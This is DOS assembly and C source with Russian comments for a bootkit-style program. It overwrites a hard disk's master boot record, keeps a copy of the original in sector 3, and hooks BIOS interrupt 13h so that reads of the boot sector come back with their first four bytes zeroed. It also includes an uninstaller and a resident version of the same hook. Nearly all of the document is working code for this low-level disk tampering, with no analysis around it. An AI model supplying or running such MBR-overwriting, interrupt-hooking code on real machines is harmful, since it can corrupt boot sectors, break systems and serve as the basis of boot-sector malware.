; Первая прога - компилить в .com и назвать newmbr.i13
.386
CODE            SEGMENT USE16
	        ASSUME  CS:CODE, DS:CODE, ES:CODE
                ORG     100H

Start:
		xor	ax, ax
		mov	si, 7C00h
		cli
		mov	sp, si
		mov	ss, ax
		sti
		mov	ds, ax
		push	ax
		push	si
		sub	word ptr ds:[413h], 4
		int	12h			; Put (memory size)/1K in ax
		shl	ax, 6
		mov	es, ax

		mov	di, offset Start
		push	es
		push	offset Cont_Boot
		cld
		mov	cx, 200h / 4
	rep	movsd
		retf

Cont_Boot:

		mov	ax, 201h
		pop	bx
		pop	es
		push	es
		push	bx
		mov	cx, 3
		mov	dx, 80h
		int	13h			; Disk  dl=drive 0  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		mov	ax, cs
		shl	eax, 16
		mov	es, ax			; ES = 0
		mov	ax, offset New_13h
		cli
		xchg	eax, es:[13h*4]
		mov	cs:Old_13h, eax
		sti
		retf


New_13h		proc	far
		pushf
		cmp	ah,2
		jne	Sys_13h
		cmp	cx, 1
		jne	Sys_13h
		cmp	dx, 80h
		jne	Sys_13h

		popf
		push	es
		push	bx	
		pushf
		call	cs:Old_13h
		pop	bx
		pop	es	
		mov	dword ptr es:[bx], 0
		retf	2
Sys_13h:
		popf
		db	0EAh
Old_13h 	dd	0
New_13h		endp

CODE            ENDS

		END	Start
// ------------------------------------------------
// Инсталляция в MBR
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <bios.h>

void main()
{
   int filedes;
   char buffer[512];

   biosdisk(_DISK_READ, 0x80, 0, 0, 1, 1, buffer);
   biosdisk(_DISK_WRITE, 0x80, 0, 0, 3, 1, buffer);

   filedes = open("newmbr.i13",  O_BINARY | O_RDONLY);
   if (filedes == -1)
   {
     printf("ERROR: Failed to open file 'newmbr.i13'\n");
     return;
   }
   long fl = filelength(filedes);
   if (fl > 0x100)
   {
     printf("ERROR: newmbr.i13 size is too big\n");
     return;
   }
   read(filedes, buffer, fl);
   close (filedes);
   biosdisk(_DISK_WRITE, 0x80, 0, 0, 1, 1, buffer);
}
// ------------------------------------------------
// Деинсталляция из MBR

#include <bios.h>

void main()
{
   char buffer[512];

   biosdisk(_DISK_READ, 0x80, 0, 0, 3, 1, buffer);
   biosdisk(_DISK_WRITE, 0x80, 0, 0, 1, 1, buffer);
}

;--------------------------------------------------
; Вторая прога (tsrint13.asm) 
.386
CODE            SEGMENT USE16
	        ASSUME  CS:CODE, DS:CODE, ES:CODE
                ORG     100H

Start:
		mov	ax, cs
		shl	eax, 16
		mov	es, ax			; ES = 0
		mov	ax, offset New_13h
		cli
		xchg	eax, es:[13h*4]
		mov	Old_13h, eax
		sti
		lea	dx, VeryEnd+1
		int	27h


New_13h		proc	far
		pushf
		cmp	ah,2
		jne	Sys_13h
		cmp	cx, 1
		jne	Sys_13h
		cmp	dx, 80h
		jne	Sys_13h

		popf
		push	es
		push	bx	
		pushf
		call	cs:Old_13h
		pop	bx
		pop	es	
		mov	dword ptr es:[bx], 0
		retf	2
Sys_13h:
		popf
		db	0EAh
Old_13h 	dd	0
New_13h		endp

VeryEnd:

CODE            ENDS

		END	Start